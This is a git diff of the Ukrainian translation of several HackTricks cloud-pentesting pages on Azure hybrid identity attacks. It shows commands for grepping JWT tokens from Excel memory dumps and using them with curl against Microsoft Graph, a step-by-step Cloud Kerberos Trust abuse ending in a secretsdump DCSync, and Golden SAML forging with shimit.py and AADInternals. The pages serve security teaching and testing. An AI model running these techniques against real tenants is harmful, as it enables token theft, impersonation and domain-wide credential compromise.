AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +- [Пост AADInternals про PRT](https://aadinternals.com/post/prt/) +- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index c09035986..44c8fd00b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,13 +4,13 @@ ## **Основна інформація** -Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому вигляді в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA. +Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому вигляді в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обходячи MFA. Кроки: 1. Дампуйте процеси Excel, синхронізовані з користувачем EntraID, за допомогою вашого улюбленого інструменту. -2. Запустіть: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході -3. Знайдіть токени, які вас найбільше цікавлять, і запустіть інструменти над ними: +2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході +3. Знайдіть токени, які вас найбільше цікавлять, і запустіть над ними інструменти: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -27,9 +27,8 @@ curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/site curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq ## Finally, download a file from that drive: -┌──(magichk㉿black-pearl)-[~] -└─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Зверніть увагу, що такі типи токенів доступу також можна знайти всередині інших процесів.** +**Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 6fb770cd3..53a56abdf 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,48 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Цей пост є резюме** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яке можна перевірити для отримання додаткової інформації про атаку. Ця техніка також коментується в** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Ця стаття є резюме** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яке можна перевірити для отримання додаткової інформації про атаку. Цю техніку також коментують у** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Основна інформація +## Огляд відносин довіри Kerberos -### Довіра +**Cloud Kerberos Trust (Entra ID -> AD)** -- Ця функція (частина Windows Hello for Business) встановлює односторонню довіру, де on-prem AD **довіряє Entra ID** для видачі квитків Kerberos для AD. Увімкнення цієї функції створює об'єкт комп'ютера **AzureADKerberos$** в AD (який з'являється як контролер домену тільки для читання) і пов'язаний обліковий запис **`krbtgt_AzureAD`** (додатковий KRBTGT). Entra ID зберігає ключі для цих облікових записів і може видавати "часткові" TGT Kerberos для користувачів AD. Контролери домену AD визнають ці квитки, але з обмеженнями, подібними до RODC: за замовчуванням **групи з високими привілеями (Domain Admins, Enterprise Admins тощо) *заборонені***, а звичайним користувачам дозволено. Це запобігає Entra ID від автентифікації доменних адміністраторів через довіру за звичайних умов. Однак, як ми побачимо, зловмисник з достатніми привілеями Entra ID може зловживати цим дизайном довіри. -Коли встановлюється довіра з Azure AD, **створюється контролер домену тільки для читання (RODC) в AD.** **Обліковий запис комп'ютера RODC** називається **`AzureADKerberos$`**. Також є вторинний обліковий запис `krbtgt`, названий **`krbtgt_AzureAD`**. Цей обліковий запис містить **ключі Kerberos**, які використовуються для квитків, що створює Azure AD. +## Поворот з Entra ID до On-Prem AD -Отже, якщо цей обліковий запис буде скомпрометовано, може бути можливим видавати себе за будь-якого користувача... хоча це не зовсім вірно, оскільки цьому обліковому запису заборонено створювати квитки для будь-якої загальної привілейованої групи AD, такої як Domain Admins, Enterprise Admins, Administrators... +**Сценарій:** Цільова організація має **Cloud Kerberos Trust** увімкненим для безпарольної автентифікації. Зловмисник отримав **привілеї Глобального адміністратора** в Entra ID (Azure AD), але ще **не** контролює on-prem AD. Зловмисник також має доступ до мережі контролера домену (через VPN або Azure VM в гібридній мережі). Використовуючи довіру в хмарі, зловмисник може скористатися контролем Azure AD, щоб отримати доступ на рівні **Domain Admin** в AD. -> [!CAUTION] -> Однак у реальному сценарії будуть привілейовані користувачі, які не входять до цих груп. Тому **новий обліковий запис krbtgt, якщо буде скомпрометований, може бути використаний для видавання себе за них.** +**Передумови:** -### Kerberos TGT +- **Cloud Kerberos Trust** налаштовано в гібридному середовищі (індикатор: обліковий запис `AzureADKerberos$` RODC існує в AD). -Більше того, коли користувач аутентифікується в Windows, використовуючи гібридну ідентичність, **Azure AD** видасть **частковий квиток Kerberos разом з PRT.** TGT є частковим, оскільки **AzureAD має обмежену інформацію** про користувача в on-prem AD (таку як ідентифікатор безпеки (SID) та ім'я).\ -Windows може потім **обміняти цей частковий TGT на повний TGT**, запитуючи квиток служби для служби `krbtgt`. +- Зловмисник має права **Глобального адміністратора (або Гібридного адміністратора ідентичності)** в орендарі Entra ID (ці ролі можуть використовувати **API синхронізації** AD Connect для зміни користувачів Azure AD). -### NTLM +- Принаймні один **гібридний обліковий запис користувача** (існує як в AD, так і в AAD), під яким зловмисник може автентифікуватися. Це може бути отримано, знаючи або скидаючи його облікові дані або призначаючи безпарольний метод (наприклад, Тимчасовий доступний пропуск) для генерації основного токена оновлення (PRT) для нього. -Оскільки можуть бути служби, які не підтримують аутентифікацію Kerberos, але підтримують NTLM, можливо запитати **частковий TGT, підписаний за допомогою вторинного ключа `krbtgt`**, включаючи поле **`KERB-KEY-LIST-REQ`** у частині **PADATA** запиту, а потім отримати повний TGT, підписаний первинним ключем `krbtgt`, **включаючи NT хеш у відповіді**. +- Обліковий запис **цілі на on-prem AD** з високими привілеями, який *не* входить до стандартної політики "заборони" RODC. На практиці, чудовою ціллю є **обліковий запис синхронізації AD Connect** (часто називається **MSOL_***), який має права DCSync (реплікації) в AD, але зазвичай не є членом вбудованих адміністративних груп. Цей обліковий запис зазвичай не синхронізується з Entra ID, що робить його SID доступним для підробки без конфлікту. -## Зловживання Cloud Kerberos Trust для отримання прав Domain Admin +**Кроки атаки:** -Коли AzureAD генерує **частковий TGT**, він використовуватиме деталі, які має про користувача. Отже, якщо Глобальний адміністратор зможе змінити дані, такі як **ідентифікатор безпеки та ім'я користувача в AzureAD**, при запиті TGT для цього користувача **ідентифікатор безпеки буде іншим**. +1. **Отримати доступ до API синхронізації Azure AD:** Використовуючи обліковий запис Глобального адміністратора, отримайте токен доступу для **API Provisioning (sync) Azure AD**. Це можна зробити за допомогою інструментів, таких як **ROADtools** або **AADInternals**. Наприклад, з ROADtools (roadtx): +```bash +# Using roadtx to get an Azure AD Graph token (no MFA) +roadtx gettokens -u -p --resource aadgraph +``` +*(Альтернативно, `Connect-AADInt` від AADInternals може бути використано для автентифікації як Global Admin.)* -Це неможливо зробити через Microsoft Graph або Azure AD Graph, але можливо використовувати **API, який використовує Active Directory Connect** для створення та оновлення синхронізованих користувачів, що може бути використано Глобальними адміністраторами для **зміни імені SAM та SID будь-якого гібридного користувача**, а потім, якщо ми аутентифікуємося, ми отримуємо частковий TGT, що містить змінений SID. +2. **Змінити локальні атрибути гібридного користувача:** Використовуйте Azure AD **API синхронізації** для встановлення обраного гібридного користувача **onPremises Security Identifier (SID)** та **onPremises SAMAccountName** так, щоб вони відповідали цільовому обліковому запису AD. Це ефективно повідомляє Azure AD, що хмарний користувач відповідає локальному обліковому запису, який ми хочемо видати за себе. Використовуючи відкритий набір інструментів **ROADtools Hybrid**: +```bash +# Example: modify a hybrid user to impersonate the MSOL account +python3 modifyuser.py -u -p \ +--sourceanchor \ +--sid --sam +``` +> `sourceAnchor` (незмінний ID) користувача потрібен для ідентифікації об'єкта Azure AD, який потрібно змінити. Інструмент встановлює SID та ім'я облікового запису SAM гібридного користувача на значення цільового (наприклад, SID та SAM облікового запису MSOL_xxxx). Azure AD зазвичай не дозволяє змінювати ці атрибути через Graph (вони є лише для читання), але API служби синхронізації це дозволяє, і Глобальні адміністратори можуть викликати цю функціональність синхронізації. -Зверніть увагу, що ми можемо зробити це з AADInternals і оновити синхронізованих користувачів за допомогою команди [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). +3. **Отримати частковий TGT з Azure AD:** Після зміни, автентифікуйтеся як гібридний користувач в Azure AD (наприклад, отримавши PRT на пристрої або використовуючи їхні облікові дані). Коли користувач входить в систему (особливо на пристрої, приєднаному до домену або Entra), Azure AD видасть **частковий Kerberos TGT (TGT****AD**) для цього облікового запису, оскільки активовано Cloud Kerberos Trust. Цей частковий TGT зашифрований за допомогою ключа AzureADKerberos$ RODC і включає **цільовий SID**, який ми встановили. Ми можемо змоделювати це, запитавши PRT для користувача через ROADtools: +```bash +roadtx getprt -u -p -d +``` +Це виводить файл `.prt`, що містить частковий TGT та ключ сесії. Якщо обліковий запис був лише хмарним паролем, Azure AD все ще включає TGT_AD у відповіді PRT. -### Передумови атаки +4. **Обмін часткового TGT на повний TGT (на AD):** Тепер частковий TGT можна представити локальному контролеру домену, щоб отримати **повний TGT** для цільового облікового запису. Ми робимо це, виконуючи запит TGS для служби `krbtgt` (основна служба TGT домену) -- по суті, оновлюючи квиток до нормального TGT з повним PAC. Доступні інструменти для автоматизації цього обміну. Наприклад, використовуючи скрипт ROADtools Hybrid: +```bash +# Use the partial TGT from the PRT file to get a full TGT and NTLM hash +python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash +``` +Цей скрипт (або еквіваленти Impacket) зв'яжеться з Контролером Домену та отримає дійсний TGT для цільового облікового запису AD, включаючи NTLM хеш облікового запису, якщо використовується спеціальне розширення Kerberos. Розширення **`KERB-KEY-LIST-REQ`** автоматично включається, щоб попросити DC повернути NTLM хеш цільового облікового запису в зашифрованій відповіді. Результатом є кеш облікових даних (`full_tgt.ccache`) для цільового облікового запису *або* відновлений NTLM хеш пароля. -Успіх атаки та отримання привілеїв Domain Admin залежать від виконання певних передумов: +5. **Вдавання під ціль і підвищення до адміністратора домену:** Тепер атакуючий фактично **контролює цільовий обліковий запис AD**. Наприклад, якщо ціллю був обліковий запис AD Connect **MSOL**, він має права на реплікацію в каталозі. Атакуючий може виконати атаку **DCSync**, використовуючи облікові дані цього облікового запису або Kerberos TGT, щоб скинути хеші паролів з AD (включаючи обліковий запис домену KRBTGT). Наприклад: +```bash +# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) +secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL +``` +Це вивантажує всі хеші паролів користувачів AD, надаючи зловмиснику хеш KRBTGT (дозволяючи йому підробляти квитки Kerberos домену на свій розсуд) і фактично **привілеї адміністратора домену** над AD. Якщо цільовий обліковий запис був би іншим привілейованим користувачем, зловмисник міг би використовувати повний TGT для доступу до будь-якого доменного ресурсу як цей користувач. -- Можливість змінювати облікові записи через Synchronization API є критично важливою. Це можна досягти, маючи роль Глобального адміністратора або володіючи обліковим записом синхронізації AD Connect. Альтернативно, роль адміністратора гібридної ідентичності також підійде, оскільки вона надає можливість керувати AD Connect і створювати нові облікові записи синхронізації. -- Наявність **гібридного облікового запису** є необхідною. Цей обліковий запис повинен бути готовим до зміни з деталями облікового запису жертви та також повинен бути доступним для аутентифікації. -- Ідентифікація **цільового облікового запису жертви** в Active Directory є необхідністю. Хоча атаку можна виконати на будь-якому обліковому записі, який вже синхронізовано, орендар Azure AD не повинен мати реплікованих ідентифікаторів безпеки on-prem, що вимагає зміни не синхронізованого облікового запису для отримання квитка. -- Крім того, цей обліковий запис повинен мати еквівалентні привілеї адміністратора домену, але не повинен бути членом типових груп адміністраторів AD, щоб уникнути генерації недійсних TGT AzureAD RODC. -- Найбільш підходящою ціллю є **обліковий запис Active Directory, що використовується службою синхронізації AD Connect**. Цей обліковий запис не синхронізується з Azure AD, залишаючи його SID як життєздатну ціль, і він за своєю суттю має еквівалентні привілеї адміністратора домену через свою роль у синхронізації хешів паролів (за умови, що синхронізація хешів паролів активна). Для доменів з експрес-встановленням цей обліковий запис має префікс **MSOL\_**. Для інших випадків обліковий запис можна визначити, перерахувавши всі облікові записи, наділені привілеями реплікації каталогу на об'єкті домену. +6. **Очищення:** За бажанням, зловмисник може відновити оригінальний `onPremisesSAMAccountName` та SID модифікованого користувача Azure AD через той же API або просто видалити будь-якого тимчасового користувача, створеного раніше. У багатьох випадках наступний цикл синхронізації Azure AD Connect автоматично скасує несанкціоновані зміни в синхронізованих атрибутах. (Однак на цьому етапі шкода вже завдана -- зловмисник має привілеї DA.) + +> [!WARNING] +> Зловживаючи механізмом довіри та синхронізації в хмарі, Глобальний адміністратор Azure AD може видавати себе за майже *будь-який* обліковий запис AD, який не захищений політикою RODC, навіть якщо цей обліковий запис ніколи не був синхронізований з хмарою. У стандартній конфігурації це **створює повну довіру від компрометації Azure AD до компрометації локального AD**. + + +## Посилання + +- [Отримання адміністратора домену з Azure AD через хмарну довіру Kerberos](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) -### Повна атака -Перевірте це в оригінальному пості: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md deleted file mode 100644 index de24db151..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ /dev/null @@ -1,9 +0,0 @@ -# Az - Default Applications - -{{#include ../../../../banners/hacktricks-training.md}} - -**Перевірте техніку на:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) та [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) - -У блозі обговорюється вразливість підвищення привілеїв в Azure AD, яка дозволяє адміністраторам додатків або скомпрометованим обліковим записам синхронізації On-Premise підвищувати привілеї, призначаючи облікові дані додаткам. Вразливість, що виникає через "дизайнерську" поведінку Azure AD у обробці додатків та службових принципів, особливо впливає на стандартні додатки Office 365. Хоча проблема була повідомлена, Microsoft не вважає її вразливістю через документування поведінки призначення адміністративних прав. Пост надає детальні технічні відомості та радить регулярно переглядати облікові дані службових принципів в середовищах Azure AD. Для отримання більш детальної інформації ви можете відвідати оригінальний блог. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md similarity index 67% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md index 751be268c..fca6e0a64 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md @@ -1,18 +1,19 @@ -# Az - Федерація +# Az - Federation {{#include ../../../../banners/hacktricks-training.md}} -## Основна інформація +## Basic Information -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Федерація** - це колекція **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **аутентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів. +[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) -Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що вся **аутентифікація користувачів відбувається локально**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна. +>**Федерація** - це сукупність **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **автентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів. +>Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для автентифікації та авторизації. Цей метод входу забезпечує, що вся **автентифікація користувачів відбувається локально**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна.
-В основному, у Федерації вся **аутентифікація** відбувається в **локальному** середовищі, і користувачі отримують SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** до **хмарних** додатків, використовуючи свої **локальні облікові дані**. +В основному, у Федерації вся **автентифікація** відбувається в **локальному** середовищі, і користувачі отримують SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**. -**Мова розмітки безпеки (SAML)** використовується для **обміну** всією інформацією про аутентифікацію та авторизацію між постачальниками. +**Мова розмітки безпеки (SAML)** використовується для **обміну** всією інформацією про автентифікацію та авторизацію між постачальниками. У будь-якій конфігурації федерації є три сторони: @@ -20,35 +21,33 @@ - Постачальник ідентичності (IdP) - Постачальник послуг (SP) -(Зображення з https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-
+1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить до безпосереднього переходу клієнта до IdP (Постачальник ідентичності) залежно від конкретної реалізації. +2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для автентифікації користувача. Він формує запит на автентифікацію SAML (Мова розмітки безпеки) і перенаправляє клієнта до вибраного IdP. +3. IdP бере на себе автентифікацію користувача. Після автентифікації IdP формує SAMLResponse і пересилає його до SP через користувача. +4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що свідчить про довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, що дозволяє користувачу використовувати сервіс. -1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить клієнта безпосередньо до IdP (Постачальник ідентичності) залежно від конкретної реалізації. -2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Потім він формує SAML (Мова розмітки безпеки) AuthnRequest і перенаправляє клієнта до вибраного IdP. -3. IdP бере на себе аутентифікацію користувача. Після аутентифікації IdP формує SAMLResponse і пересилає його до SP через користувача. -4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що означає довірчі відносини з IdP, користувачу надається доступ. Це завершує процес входу, дозволяючи користувачу використовувати сервіс. - -**Якщо ви хочете дізнатися більше про аутентифікацію SAML та поширені атаки, перейдіть за посиланням:** +**Якщо ви хочете дізнатися більше про автентифікацію SAML та поширені атаки, перейдіть за посиланням:** {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html {{#endref}} -## Півтування +## Pivoting - AD FS - це модель ідентичності на основі заяв. -- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих будь-де в Інтернеті." +- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих де завгодно в Інтернеті." - Заяви для користувача записуються всередині SAML токенів і потім підписуються для забезпечення конфіденційності IdP. - Користувач ідентифікується за допомогою ImmutableID. Він є глобально унікальним і зберігається в Azure AD. -- ImmutableID зберігається локально як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача. +- ImmutableID зберігається на локальному ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача. - Більше інформації в [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Атака Golden SAML:** - У ADFS SAML Response підписується сертифікатом підпису токенів. -- Якщо сертифікат скомпрометований, можливо аутентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD! -- Так само, як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь аутентифікації. +- Якщо сертифікат скомпрометований, можливо автентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD! +- Так само, як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь на автентифікацію. - Сертифікат можна витягти з сервера AD FS з привілеями DA, а потім його можна використовувати з будь-якого підключеного до Інтернету комп'ютера. - Більше інформації в [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -56,12 +55,12 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html Процес, за яким **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP. -Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), де ключ, що аутентифікує особу та дозволи користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта аутентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP. +Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), де ключ, що автентифікує особу та права користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта автентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP. -Golden SAML має певні переваги: +Золоті SAML мають певні переваги: - Їх можна **створити віддалено**, без необхідності бути частиною домену або федерації. -- Вони залишаються ефективними навіть при **включеній двофакторній аутентифікації (2FA)**. +- Вони залишаються ефективними навіть при **включеній двофакторній автентифікації (2FA)**. - Приватний ключ підпису токенів **не оновлюється автоматично**. - **Зміна пароля користувача не анулює** вже згенерований SAML. @@ -69,7 +68,7 @@ Golden SAML має певні переваги: [Служби федерації Active Directory (AD FS)]() - це служба Microsoft, яка полегшує **безпечний обмін інформацією про особу** між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації. -З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких дозволів у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа. +З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких прав у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа. Вимоги для виконання атаки Golden SAML включають: @@ -81,7 +80,7 @@ Golden SAML має певні переваги: - Ім'я сесії ролі в AWS - Ідентифікатор облікового запису Amazon -_Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням._ +_Тільки елементи, виділені жирним, є обов'язковими. Інші можна заповнити за бажанням._ Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати Microsoft.Adfs.Powershell snapin наступним чином, переконавшись, що ви увійшли як користувач ADFS: ```bash @@ -112,9 +111,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
+
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-### On-prem -> хмара +### On-prem -> cloud ```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -133,7 +132,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -Також можливо створити ImmutableID для користувачів лише в хмарі та імітувати їх. +Також можливо створити ImmutableID для користувачів лише в хмарі та видавати з себе їх. ```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md new file mode 100644 index 000000000..439ed1616 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md @@ -0,0 +1,29 @@ +# Гібридні ідентичності Різноманітні атаки + +{{#include ../../../../banners/hacktricks-training.md}} + + +## Примусова синхронізація користувачів Entra ID з локальним + +Як згадувалося в [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), було можливим змінити значення **`ProxyAddress`** у користувача AD в локальному AD, додавши електронну пошту адміністратора Entra ID та також переконавшись, що UPN користувача в AD та в Entra ID збігаються (це знову Entra ID), як **`SMTP:admin@domain.onmicrosoft.com`**. І це **примусить синхронізацію цього користувача** з Entra ID до локального AD, тому якщо пароль користувача був відомий, його можна було б використати для **доступу до адміністратора в Entra ID.** + +Щоб синхронізувати нового користувача з Entra ID до локального AD, ці вимоги є єдиними вимогами: + +- Контролювати атрибути користувача в локальному AD (або мати дозволи на створення нових користувачів) +- Знати користувача, який існує тільки в хмарі, щоб синхронізувати з Entra ID до локального AD +- Вам також може знадобитися змінити атрибут immutableID з користувача Entra ID на користувача локального AD, щоб зробити **жорстке співпадіння**. + + 